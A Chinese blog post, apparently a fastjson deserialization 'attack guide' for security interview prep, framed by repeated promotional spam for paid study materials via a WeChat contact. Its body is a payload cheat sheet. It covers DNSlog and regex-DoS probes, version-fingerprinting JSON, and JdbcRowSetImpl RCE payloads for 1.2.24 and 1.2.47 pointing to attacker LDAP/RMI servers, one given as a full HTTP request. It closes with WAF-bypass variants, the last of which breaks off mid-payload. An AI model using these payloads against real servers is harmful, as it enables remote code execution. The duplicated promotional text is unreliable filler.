fastjson反序列化攻略，网络安全开发实习面试题

先自我介绍一下，小编浙江大学毕业，去过华为、字节跳动等大厂，目前阿里P7

深知大多数程序员，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年最新网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上网络安全知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

如果你需要这些资料，可以添加V获取：vip204888 （备注网络安全）

正文

{“zero”:{“@type”:“java.net.Inet4Address”,“val”:“dnslog.com”}}

1.2.36-1.2.62正则DDOS，延时攻击

{
“regex”:{
“$ref":"$[blue rlike ‘¹+(([a-zA-Z ])?[a-zA-Z])$’]”
},
“blue”:“aaaaaaaaaaaaaaaaaaaaaaaaaaaa!”
}

## 版本探测


### 通过报错信息查看版本号（不一定能爆出）

{“@type”:“java.lang.AutoCloseable”
a
[“test”:1]

### 无报错信息探测

【不报错】1.2.83/1.2.24 【报错】1.2.25-1.2.80
{“zero”:{“@type”:“java.lang.Exception”,“@type”:“org.XxException”}}

【不报错】1.2.24-1.2.68 【报错】1.2.70-1.2.83
{“zero”:{“@type”:“java.lang.AutoCloseable”,“@type”:“java.io.ByteArrayOutputStream”}}

【不报错】1.2.24-1.2.47 【报错】1.2.48-1.2.83
{
“a”: {
“@type”: “java.lang.Class”,
“val”: “com.sun.rowset.JdbcRowSetImpl”
},
“b”: {
“@type”: “com.sun.rowset.JdbcRowSetImpl”
}
}

【不报错】1.2.24 【报错】1.2.25-1.2.83
{“zero”: {“@type”: “com.sun.rowset.JdbcRowSetImpl”}}

### 延迟判断


fastjson<=1.2.47

{“name”:{“\u0040\u0074\u0079\u0070\u0065”:“\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073”,“\u0076\u0061\u006c”:“\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c”},“x”:{“\u0040\u0074\u0079\u0070\u0065”:“\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c”,“\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065”:“ldap://11.111.22.222/test111”,“autoCommit”:true}}

1.1.16<=fastjson<=1.2.24

{“b”:{“@type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“ldap://137.30.0.1:9999/POC”,“autoCommit”:true}}

## 1.2.24 RCE-payload



![](https://img-blog.csdnimg.cn/img_convert/5300540606a344edbb2069121839cdc4.png)

POST / HTTP/1.1
Host: 192.168.112.131:8090
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 162

{
“b”:{
“@type”:“com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”:“rmi://192.168.112.1:1099/rrxt2k”,
“autoCommit”:true
}
}

## 1.2.47 RCE-payload



![](https://img-blog.csdnimg.cn/img_convert/af056569f5a97cf100d56cbd44ffd4d7.png)

{
“a”:{
“@type”:“java.lang.Class”,
“val”:“com.sun.rowset.JdbcRowSetImpl”
},
“b”:{
“@type”:“com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”:“rmi://192.168.112.1:1099/dwkrty”,
“autoCommit”:true
}
}

## 绕WAF

/s6/绕过
{
“b”:{
/s6/“@type”:“com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”:“rmi://192.168.112.1:1099/isupvs”,
“autoCommit”:true
}
}

多字符绕过
{“bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb”:{“@type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“rmi://192.168.112.1:1099/isupvs”,“autoCommit”:true}}

空格绕过
{“b”:{ “@type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“rmi://192.168.112.1:1099/isupvs”,“autoCommit”:true}}

unicode编码绕过
{
“b”:{ “\u0040\u0074\u0079\u0070\u0065”:“com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”:“rmi://192.168.112.1:1099/isupvs”,
“autoCommit”:true
}
}

16进制编码绕过
{
“b”:{ “\x40\x74\x79\x70\x65”:“com.sun.rowset.JdbcRowSetImpl”,

学习路线：

这个方向初期比较容易入门一些，掌握一些基本技术，拿起各种现成的工具就可以开黑了。不过，要想从脚本小子变成黑客大神，这个方向越往后，需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容：

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化的资料的朋友，可以添加V获取：vip204888 （备注网络安全）

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

技术提升。**

需要这份系统化的资料的朋友，可以添加V获取：vip204888 （备注网络安全）
[外链图片转存中…(img-QXcoIhbz-1713360224912)]

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

---

1. a-zA-Z ↩︎